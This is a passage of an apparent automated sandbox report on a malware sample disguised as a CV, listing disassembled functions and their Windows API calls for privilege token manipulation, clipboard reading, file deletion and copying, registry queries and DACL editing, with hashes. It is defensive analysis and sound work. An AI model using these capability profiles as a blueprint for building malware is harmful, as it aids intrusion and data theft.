                                                                  • Instruction Fuzzy Hash: BD315471A402187BEF215F659C8AF7F7EACEB45B50F104065FA05EB1D1DAB15D00ABA0
                                                                  Function 00B5ACC5 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 223COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B5B180
                                                                    • Part of subcall function 00B5B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B5B1AD
                                                                    • Part of subcall function 00B5B134: GetLastError.KERNEL32 ref: 00B5B1BA
                                                                  • _memset.LIBCMT ref: 00B5AD08
                                                                  • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00B5AD5A
                                                                  • CloseHandle.KERNEL32(?), ref: 00B5AD6B
                                                                  • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B5AD82
                                                                  • GetProcessWindowStation.USER32 ref: 00B5AD9B
                                                                  • SetProcessWindowStation.USER32(00000000), ref: 00B5ADA5
                                                                  • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B5ADBF
                                                                    • Part of subcall function 00B5AB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B5ACC0), ref: 00B5AB99
                                                                    • Part of subcall function 00B5AB84: CloseHandle.KERNEL32(?,?,00B5ACC0), ref: 00B5ABAB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                                  • String ID: $default$winsta0
                                                                  • API String ID: 2063423040-1027155976
                                                                  • Opcode ID: e0cdc3112f11836f5aad83c56c8200ffd6351c5d28ce52f02d5de84de82211f1
                                                                  • Instruction ID: 28f073616ed182f437a8269ba1149eb28c478f62ffc9216ed19adf0d930e6996
                                                                  • Opcode Fuzzy Hash: e0cdc3112f11836f5aad83c56c8200ffd6351c5d28ce52f02d5de84de82211f1
                                                                  • Instruction Fuzzy Hash: EE818BB1900249AFDF119FA4CC86BEEBBB8EF08305F1442D9FD15B6161DB318E499B61
                                                                  Function 00B660DD Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 174filestringCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B66EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B65FA6,?), ref: 00B66ED8
                                                                    • Part of subcall function 00B66EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B65FA6,?), ref: 00B66EF1
                                                                    • Part of subcall function 00B6725E: __wsplitpath.LIBCMT ref: 00B6727B
                                                                    • Part of subcall function 00B6725E: __wsplitpath.LIBCMT ref: 00B6728E
                                                                    • Part of subcall function 00B672CB: GetFileAttributesW.KERNEL32(?,00B66019), ref: 00B672CC
                                                                  • _wcscat.LIBCMT ref: 00B66149
                                                                  • _wcscat.LIBCMT ref: 00B66167
                                                                  • __wsplitpath.LIBCMT ref: 00B6618E
                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B661A4
                                                                  • _wcscpy.LIBCMT ref: 00B66209
                                                                  • _wcscat.LIBCMT ref: 00B6621C
                                                                  • _wcscat.LIBCMT ref: 00B6622F
                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 00B6625D
                                                                  • DeleteFileW.KERNEL32(?), ref: 00B6626E
                                                                  • MoveFileW.KERNEL32(?,?), ref: 00B66289
                                                                  • MoveFileW.KERNEL32(?,?), ref: 00B66298
                                                                  • CopyFileW.KERNEL32(?,?,00000000), ref: 00B662AD
                                                                  • DeleteFileW.KERNEL32(?), ref: 00B662BE
                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B662E1
                                                                  • FindClose.KERNEL32(00000000), ref: 00B662FD
                                                                  • FindClose.KERNEL32(00000000), ref: 00B6630B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
                                                                  • String ID: \*.*
                                                                  • API String ID: 1917200108-1173974218
                                                                  • Opcode ID: 0cf00c03ecb02e6028c443e4c607260f26201022e584b75c2a5c58bb49447e18
                                                                  • Instruction ID: 38f71e671ee0af64ccbf470d597ad490ac1d4ce53703cb9220a3c8ed80f7e86a
                                                                  • Opcode Fuzzy Hash: 0cf00c03ecb02e6028c443e4c607260f26201022e584b75c2a5c58bb49447e18
                                                                  • Instruction Fuzzy Hash: FC5100B2D0811CAACB21EB95CC55DDB77FCAF05300F0505E6E545E3141EE369B898FA4
                                                                  Function 00B76B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • OpenClipboard.USER32(00BBDC00), ref: 00B76B36
                                                                  • IsClipboardFormatAvailable.USER32(0000000D), ref: 00B76B44
                                                                  • GetClipboardData.USER32(0000000D), ref: 00B76B4C
                                                                  • CloseClipboard.USER32 ref: 00B76B58
                                                                  • GlobalLock.KERNEL32(00000000), ref: 00B76B74
                                                                  • CloseClipboard.USER32 ref: 00B76B7E
                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00B76B93
                                                                  • IsClipboardFormatAvailable.USER32(00000001), ref: 00B76BA0
                                                                  • GetClipboardData.USER32(00000001), ref: 00B76BA8
                                                                  • GlobalLock.KERNEL32(00000000), ref: 00B76BB5
                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00B76BE9
                                                                  • CloseClipboard.USER32 ref: 00B76CF6
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                                  • String ID:
                                                                  • API String ID: 3222323430-0
                                                                  • Opcode ID: 8aadff6f1f71c98610f0f9e46f63f76c3e78f6fc51e9fd58047b1eadb9754451
                                                                  • Instruction ID: 46c0f4f6dd1530f6985110e342d41fd907b5458028f4f5c6c036bfbcba54b4bc
                                                                  • Opcode Fuzzy Hash: 8aadff6f1f71c98610f0f9e46f63f76c3e78f6fc51e9fd58047b1eadb9754451
                                                                  • Instruction Fuzzy Hash: DA51AE31244601ABD301AF64DD8BFAE77E8EB89B01F008569F59AD72E1DF70D805CA62
                                                                  Function 00B6F5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B6F62B
                                                                  • FindClose.KERNEL32(00000000), ref: 00B6F67F
                                                                  • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B6F6A4
                                                                  • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B6F6BB
                                                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00B6F6E2
                                                                  • __swprintf.LIBCMT ref: 00B6F72E
                                                                  • __swprintf.LIBCMT ref: 00B6F767
                                                                  • __swprintf.LIBCMT ref: 00B6F7BB
                                                                    • Part of subcall function 00B4172B: __woutput_l.LIBCMT ref: 00B41784
                                                                  • __swprintf.LIBCMT ref: 00B6F809
                                                                  • __swprintf.LIBCMT ref: 00B6F858
                                                                  • __swprintf.LIBCMT ref: 00B6F8A7
                                                                  • __swprintf.LIBCMT ref: 00B6F8F6
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
                                                                  • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                  • API String ID: 835046349-2428617273
                                                                  • Opcode ID: 0fedcdb82a50bbd088eb5f31b91e6583b11fa4d12ce1832993c8f691c5c49e51
                                                                  • Instruction ID: f1ccf58d06329ab513910cc67b2d877fdfea030bb3eba70559ac39be2f7dcb65
                                                                  • Opcode Fuzzy Hash: 0fedcdb82a50bbd088eb5f31b91e6583b11fa4d12ce1832993c8f691c5c49e51
                                                                  • Instruction Fuzzy Hash: AFA1FEB2508354ABC310EBA4D885DAFB7ECEF98704F440D6EB595C3151EB34DA49CB62
                                                                  Function 00B71B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 00B71B50
                                                                  • _wcscmp.LIBCMT ref: 00B71B65
                                                                  • _wcscmp.LIBCMT ref: 00B71B7C
                                                                  • GetFileAttributesW.KERNEL32(?), ref: 00B71B8E
                                                                  • SetFileAttributesW.KERNEL32(?,?), ref: 00B71BA8
                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00B71BC0
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71BCB
                                                                  • FindFirstFileW.KERNEL32(*.*,?), ref: 00B71BE7
                                                                  • _wcscmp.LIBCMT ref: 00B71C0E
                                                                  • _wcscmp.LIBCMT ref: 00B71C25
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B71C37
                                                                  • SetCurrentDirectoryW.KERNEL32(00BD39FC), ref: 00B71C55
                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B71C5F
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71C6C
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71C7C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                                  • String ID: *.*
                                                                  • API String ID: 1803514871-438819550
                                                                  • Opcode ID: 9f925e43e13219f331ffc4b19bfa14e6e4b58ae3f9670b4b50f597221e525ae6
                                                                  • Instruction ID: 2a2e40a9bd93a58ed0be42b56017beee21dd64e5222e48a63ff6323704179dbe
                                                                  • Opcode Fuzzy Hash: 9f925e43e13219f331ffc4b19bfa14e6e4b58ae3f9670b4b50f597221e525ae6
                                                                  • Instruction Fuzzy Hash: E93193315012196ADB119BF8DC4AADE77ECEF06310F1089D6E92AA3190EA74DF858A64
                                                                  Function 00B71C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindFirstFileW.KERNEL32(?,?,76F88FB0,?,00000000), ref: 00B71CAB
                                                                  • _wcscmp.LIBCMT ref: 00B71CC0
                                                                  • _wcscmp.LIBCMT ref: 00B71CD7
                                                                    • Part of subcall function 00B66BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B66BEF
                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00B71D06
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71D11
                                                                  • FindFirstFileW.KERNEL32(*.*,?), ref: 00B71D2D
                                                                  • _wcscmp.LIBCMT ref: 00B71D54
                                                                  • _wcscmp.LIBCMT ref: 00B71D6B
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B71D7D
                                                                  • SetCurrentDirectoryW.KERNEL32(00BD39FC), ref: 00B71D9B
                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B71DA5
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71DB2
                                                                  • FindClose.KERNEL32(00000000), ref: 00B71DC2
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                                  • String ID: *.*
                                                                  • API String ID: 1824444939-438819550
                                                                  • Opcode ID: 8db326a897a38bc3fb85b9683b41736e48d991e3c0b7ebaf4bc58bf643a13c3d
                                                                  • Instruction ID: 9c3663bff76b2f9bc6fb29dc1298aa7dcc773e3597d3abb5236f329755f05428
                                                                  • Opcode Fuzzy Hash: 8db326a897a38bc3fb85b9683b41736e48d991e3c0b7ebaf4bc58bf643a13c3d
                                                                  • Instruction Fuzzy Hash: E031E7325016197ACF21AFACDC49ADE77ECDF05320F1089E2E82AA3190DB74DE458E64
                                                                  Function 00B7091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetLocalTime.KERNEL32(?), ref: 00B709DF
                                                                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00B709EF
                                                                  • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B709FB
                                                                  • __wsplitpath.LIBCMT ref: 00B70A59
                                                                  • _wcscat.LIBCMT ref: 00B70A71
                                                                  • _wcscat.LIBCMT ref: 00B70A83
                                                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B70A98
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B70AAC
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B70ADE
                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00B70AFF
                                                                  • _wcscpy.LIBCMT ref: 00B70B0B
                                                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B70B4A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                                  • String ID: *.*
                                                                  • API String ID: 3566783562-438819550
                                                                  • Opcode ID: 6d3a7e3e1dfaa70b483c467a6f782fa202a5bbb526b0fdb98cb5e5dae2eb7bb1
                                                                  • Instruction ID: 9ea2cd34429a99addc1a0b5d639990664bb6cae06d3a47fbec2b6de516213c8e
                                                                  • Opcode Fuzzy Hash: 6d3a7e3e1dfaa70b483c467a6f782fa202a5bbb526b0fdb98cb5e5dae2eb7bb1
                                                                  • Instruction Fuzzy Hash: 12617C725143059FCB10EF64C88599EB3E8FF89310F04899EF999C7251DB31EA45CB92
                                                                  Function 00B5A66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B5ABD7
                                                                    • Part of subcall function 00B5ABBB: GetLastError.KERNEL32(?,00B5A69F,?,?,?), ref: 00B5ABE1
                                                                    • Part of subcall function 00B5ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00B5A69F,?,?,?), ref: 00B5ABF0
                                                                    • Part of subcall function 00B5ABBB: HeapAlloc.KERNEL32(00000000,?,00B5A69F,?,?,?), ref: 00B5ABF7
                                                                    • Part of subcall function 00B5ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B5AC0E
                                                                    • Part of subcall function 00B5AC56: GetProcessHeap.KERNEL32(00000008,00B5A6B5,00000000,00000000,?,00B5A6B5,?), ref: 00B5AC62
                                                                    • Part of subcall function 00B5AC56: HeapAlloc.KERNEL32(00000000,?,00B5A6B5,?), ref: 00B5AC69
                                                                    • Part of subcall function 00B5AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00B5A6B5,?), ref: 00B5AC7A
                                                                  • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B5A6D0
                                                                  • _memset.LIBCMT ref: 00B5A6E5
                                                                  • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B5A704
                                                                  • GetLengthSid.ADVAPI32(?), ref: 00B5A715
                                                                  • GetAce.ADVAPI32(?,00000000,?), ref: 00B5A752
                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B5A76E
                                                                  • GetLengthSid.ADVAPI32(?), ref: 00B5A78B
                                                                  • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00B5A79A
                                                                  • HeapAlloc.KERNEL32(00000000), ref: 00B5A7A1
                                                                  • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B5A7C2
                                                                  • CopySid.ADVAPI32(00000000), ref: 00B5A7C9
                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B5A7FA
                                                                  • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B5A820
                                                                  • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B5A834
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                  • String ID:
                                                                  • API String ID: 3996160137-0
                                                                  • Opcode ID: 7b21b96eb851bf2144cc9c7618361ca8f9b61c2e50b227eed584d5790a53dc2f
                                                                  • Instruction ID: 588e5f500e4b880b19f863915bb6a286119389c55c21d8287bd0ee21dfdfd6ae
                                                                  • Opcode Fuzzy Hash: 7b21b96eb851bf2144cc9c7618361ca8f9b61c2e50b227eed584d5790a53dc2f
                                                                  • Instruction Fuzzy Hash: 20514C71900209AFDF10DFA5DC55AEEBBB9FF05305F0482A9F911B7290DB349A0ACB61
                                                                  Function 00B26F07 Relevance: 18.4, Strings: 14, Instructions: 883COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                                                  • API String ID: 0-4052911093
                                                                  • Opcode ID: 6e176ed9c350569dc3f82389a338f7080dab7fbb2fbe8992bb508de8f2e9be50
                                                                  • Instruction ID: 579dbbaf966394101f19957803b3ad50eac1ce947f934410fffcf0684216788c
                                                                  • Opcode Fuzzy Hash: 6e176ed9c350569dc3f82389a338f7080dab7fbb2fbe8992bb508de8f2e9be50
                                                                  • Instruction Fuzzy Hash: 52726171E042299BDF24DF58D8807AEB7F5FF05710F1441AAE819EB280EB749E81DB94
                                                                  Function 00B663F9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B66EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B65FA6,?), ref: 00B66ED8
                                                                    • Part of subcall function 00B672CB: GetFileAttributesW.KERNEL32(?,00B66019), ref: 00B672CC
                                                                  • _wcscat.LIBCMT ref: 00B66441
                                                                  • __wsplitpath.LIBCMT ref: 00B6645F
                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B66474
                                                                  • _wcscpy.LIBCMT ref: 00B664A3
                                                                  • _wcscat.LIBCMT ref: 00B664B8
                                                                  • _wcscat.LIBCMT ref: 00B664CA
                                                                  • DeleteFileW.KERNEL32(?), ref: 00B664DA
                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B664EB
                                                                  • FindClose.KERNEL32(00000000), ref: 00B66506
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                                  • String ID: \*.*
                                                                  • API String ID: 2643075503-1173974218
                                                                  • Opcode ID: dbb788be52aee27c3933d04c5bb5c4590a2ef21d9981ceb668f472540692a08d
                                                                  • Instruction ID: 0a9a5704d47e0b158c5c1ced2904c38e34dacc524635180bd9060dd7249f1aa3
                                                                  • Opcode Fuzzy Hash: dbb788be52aee27c3933d04c5bb5c4590a2ef21d9981ceb668f472540692a08d
                                                                  • Instruction Fuzzy Hash: 723186B2408388AAC721EBA488859DB77DCAF56310F44096EF6D9C3141EE35D60D8767
                                                                  Function 00B831BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B83C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B82BB5,?,?), ref: 00B83C1D
                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B8328E
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B8332D
                                                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00B833C5
                                                                  • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00B83604
                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00B83611
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
